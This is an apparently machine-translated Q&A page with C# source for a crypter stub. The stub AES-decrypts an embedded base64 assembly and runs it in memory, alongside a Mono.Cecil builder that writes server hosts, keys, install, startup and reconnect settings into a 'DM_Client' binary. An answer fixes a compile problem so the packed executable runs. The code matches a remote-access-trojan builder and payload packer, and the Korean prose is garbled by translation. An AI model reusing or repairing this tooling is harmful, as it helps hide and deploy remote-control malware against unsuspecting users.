2017-09-10 1 views
0

그래서 회사에 대한 내 프로젝트가, 우리는 그것을 사용하는 사용자에 따라 exe에서 구체적인 세부 사항을 변경합니다. 이것을 훨씬 쉽게하기 위해 Mono.Cecil을 사용하고 exe를 base64 문자열로 변환하고 암호화합니다.변경되었습니다. NET exe 실행되지 않습니다

using System; 
using System.Reflection; 
using System.Security.Cryptography; 
using System.Text; 

namespace ConsoleApp1 
{ 
class Program 
{ 
    private static readonly string CData = "[BIN-DATA]"; 
    private static readonly string CDPWS = "[PASSWORD]"; 
    static void Main(string[] args) 
    { 
     Assembly a = Assembly.Load(AESDecrypt(Convert.FromBase64String(CData), CDPWS)); 
     MethodInfo entry = a.EntryPoint; 
     ParameterInfo[] i = entry.GetParameters(); 
     entry.Invoke(null, null); 
     Console.ReadLine(); 
    } 
    public static byte[] AESDecrypt(byte[] input, string Pass) 
    { 
     RijndaelManaged AES = new RijndaelManaged(); 
     byte[] hash = new byte[32]; 
     byte[] temp = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(Pass)); 
     Array.Copy(temp, 0, hash, 0, 16); 
     Array.Copy(temp, 0, hash, 15, 16); 
     AES.Key = hash; 
     AES.Mode = CipherMode.ECB; 
     ICryptoTransform DESDecrypter = AES.CreateDecryptor(); 
     return DESDecrypter.TransformFinalBlock(input, 0, input.Length); 
    } 
} 
} 

우리가 컴파일 할 때이 사용하여이 : 그런 다음 우리는 우리가 컴파일 스텁 파일의 암호화 된 문자열과 암호를 넣어

public class ClientCrypter 
{ 
    private readonly string Stub = Properties.Resources.stub; 
    public ClientCrypter(byte[] bytes, BuildOptions options) 
    { 
     var pw = RandomString(25); 
     //Stub = Stub.Replace("\r\n", string.Empty); 
     Stub = Stub.Replace("[BIN-DATA]", Convert.ToBase64String(AESEncrypt(bytes, pw))); 
     Stub = Stub.Replace("[PASSWORD]", pw); 
     CompilerParameters CParams = new CompilerParameters(); 

     CParams.GenerateExecutable = true; 
     CParams.OutputAssembly = options.OutputPath; 

     string _coptions = "/platform:x86 /target:winexe /unsafe"; 

     CParams.CompilerOptions = _coptions; 
     CParams.TreatWarningsAsErrors = false; 

     CParams.ReferencedAssemblies.Add("System.dll"); 
     CParams.ReferencedAssemblies.Add("System.Data.dll"); 
     Dictionary<string, string> ProviderOptions = new Dictionary<string, string>(); 
     ProviderOptions.Add("CompilerVersion", "v2.0"); 

     CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, Stub); 
     if(Results.Errors.Count != 0) 
     { 
      Console.WriteLine("ERROR"); 
     } 
    } 
    private string RandomString(int length) 
    { 
     string pool = "abcdefghijklmnopqrstuvwxyz"; 
     pool += pool.ToUpper(); 
     string tmp = ""; 
     Random R = new Random(); 
     for (int x = 0; x < length; x++) 
     { 
      tmp += pool[R.Next(0, pool.Length)].ToString(); 
     } 
     return tmp; 
    } 
    private static byte[] AESEncrypt(byte[] input, string Pass) 
    { 
     RijndaelManaged AES = new RijndaelManaged(); 
     byte[] hash = new byte[32]; 
     byte[] temp = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(Pass)); 
     Array.Copy(temp, 0, hash, 0, 16); 
     Array.Copy(temp, 0, hash, 15, 16); 
     AES.Key = hash; 
     AES.Mode = CipherMode.ECB; 
     ICryptoTransform DESEncrypter = AES.CreateEncryptor(); 
     return DESEncrypter.TransformFinalBlock(input, 0, input.Length); 
    } 
} 

을 우리가이 메시지와 함께 실패 exe 인 결과 실행할 때 :

Description: 
    Stopped working 

Problem signature: 
    Problem Event Name: CLR20r3 
    Problem Signature 01: final-crypt.exe 
    Problem Signature 02: 0.0.0.0 
    Problem Signature 03: 59b5a7db 
    Problem Signature 04: mscorlib 
    Problem Signature 05: 2.0.0.0 
    Problem Signature 06: 55f8f105 
    Problem Signature 07: f52 
    Problem Signature 08: 7 
    Problem Signature 09: N3CTRYE2KN3C34SGL4ZQYRBFTE4M13NB 
    OS Version: 6.1.7601.2.1.0.256.4 
    Locale ID: 1033 

하지만 난으로 VisualStudio에서 EXE 파일을로드하고 생성 된 EXE에서 올바른하려면 CData 및 CDPWS을 제공하고 아무 문제없이 실행되는 실행해야 ConsoleApp1 프로젝트를 열 때 , 관리자로 실행하려고하고 온통 구글을 보려고했지만 couldnt은 이것을위한 해결책을 찾는다. 올바른 방법으로 나를 가르쳐 주시겠습니까?

감사

편집 :

public static class ClientBuilder 
{ 
    public static void Build(BuildOptions options) 
    { 
     // PHASE 1 - Settings 
     string encKey = FileHelper.GetRandomFilename(20), key, authKey; 
     CryptographyHelper.DeriveKeys(options.Password, out key, out authKey); 
     AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("DM_Client.bin"); 

     foreach (var typeDef in asmDef.Modules[0].Types) 
     { 
      if (typeDef.FullName == "DM_Client.Config.Settings") 
      { 
       foreach (var methodDef in typeDef.Methods) 
       { 
        if (methodDef.Name == ".cctor") 
        { 
         int strings = 1, bools = 1; 

         for (int i = 0; i < methodDef.Body.Instructions.Count; i++) 
         { 
          if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string 
          { 
           switch (strings) 
           { 
            case 1: //version 
             methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey); 
             break; 
            case 2: //ip/hostname of server 
             methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey); 
             break; 
            case 3: //user key 
             methodDef.Body.Instructions[i].Operand = key; 
             break; 
            case 4: //authentication key 
             methodDef.Body.Instructions[i].Operand = authKey; 
             break; 
            case 5: //installsub 
             methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey); 
             break; 
            case 6: //installname 
             methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey); 
             break; 
           } 
           strings++; 
          } 
          else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" || 
            methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool 
          { 
           switch (bools) 
           { 
            case 1: //install 
             methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install)); 
             break; 
            case 2: //startup 
             methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup)); 
             break; 
           } 
           bools++; 
          } 
          else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int 
          { 
           //reconnectdelay 
           methodDef.Body.Instructions[i].Operand = options.Delay; 
          } 
          else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte 
          { 
           methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath); 
          } 
         } 
        } 
       } 
      } 
     } 
     ClientCrypter C = new ClientCrypter(File.ReadAllBytes(options.OutputPath), options); 
    } 
    private static OpCode BoolOpcode(bool p) 
    { 
     return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0; 
    } 
} 

편집 : 여기 Mono.Cecil를 사용 (암호화하기 전에) EXE 파일을 변경하는 클래스의 부분은 당신이 좋아, downvote하기로 결정한 경우. 그러나 시간을내어 downvote를 결정한 이유를 알려 주시면 개선 할 수 있습니다. 고마워요

+0

은 우리가 우리의 로컬 시스템에 시도 할 수있는 무언가를 제공 할 수 일 : 그리고 라인을 제거하는 것을 결론에 도달했다? – TcKs

+0

문제와 관련이 없으므로 회사에서 프로세스가 완전히 쓸데 없다는 것을 알고 있습니까? 누구든지 exe를 취하고 디 컴파일하면 base64 데이터, 암호 및 암호 방법을 얻을 수 있습니다. – Gusman

+0

@TcKs 내가 부분을 제공할지 여부를 확인합니다. –

답변

1

그래서 다시 ClientCrypter 클래스에서 컴파일하는 방법을 살펴보기로했습니다. 다른 컴파일러 옵션으로 인해이 문제가 발생할 수 있다고 생각했습니다.

ProviderOptions.Add("CompilerVersion", "v2.0"); 

고정 문제 및 응용 프로그램으로 실행하고

관련 문제